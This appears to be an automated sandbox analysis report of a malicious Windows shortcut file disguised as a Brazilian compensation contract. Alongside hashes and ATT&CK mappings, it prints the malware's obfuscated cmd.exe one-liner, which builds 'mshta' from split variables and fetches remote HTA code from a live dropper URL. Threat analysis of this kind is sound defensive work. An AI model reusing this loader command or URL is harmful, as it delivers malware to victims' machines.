b8191b6a94376c16037a3cbecb991872a227bafcb01d80bb3eaea094b9772213

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:47

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General

Target
Contrato_Indeniza_Brasil-XGKKPJ.lnk
Size 1KB
Sample260803-pz95jayanc
SHA256 b8191b6a94376c16037a3cbecb991872a227bafcb01d80bb3eaea094b9772213
MD5 bfce9e55bcd505433950b789618bf33c
SHA1 ea1d41c8812292520b0aa4e785973d34877cd5c4
SHA512 1f78cc6868935395b3db2f5c395e6513a883899252338371b9ef27d38a69fa31b95af8c8d1b8b80a23e8d00db3f142c8736420642aebef536425515101728536
TLSH
T17831DC103AFC0214F2B38EB645BB5B1059BAF8958D10C51D0040060C1066E00E53BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2944	mshta.exe
5	2944	mshta.exe
6	2944	mshta.exe
7	2944	mshta.exe
8	2944	mshta.exe
9	2944	mshta.exe
14	2944	mshta.exe
16	2944	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5180	cmd.exe
4088	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5180 wrote to memory of 4088	5180	cmd.exe	90
PID 4088 wrote to memory of 2944	4088	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-XGKKPJ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5180
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set Sylk=msh&&set HfbkD=ta&&start "" !Sylk!!HfbkD! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:2944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads